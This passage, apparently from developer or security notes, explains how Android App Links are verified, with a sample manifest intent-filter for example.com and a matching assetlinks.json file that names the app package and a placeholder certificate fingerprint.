  2. The domain's root server hosts a assetlinks.json file, which proves the app's ownership of the domain.

  3. Android verifies the association during app installation or update.

e.g

<activity android:name=".MainActivity">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="https"
              android:host="example.com"
              android:pathPrefix="/product" />
    </intent-filter>
</activity>

on `https://example.com/.well-known/assetlinks.json` they host this

[
  {
    "relation": ["delegate_permission/common.handle_all_urls"],
    "target": {
      "namespace": "android_app",
      "package_name": "com.example.myapp",
      "sha256_cert_fingerprints": [
        "AB:CD:EF:12:34:56:78:90:AB:CD:EF:12:34:56:78:90:AB:CD:EF:12:34:56:78:90:AB:CD:EF"
      ]
    }
  }
]

which verify that this package is allowed to open URL with host example.com .

Last updated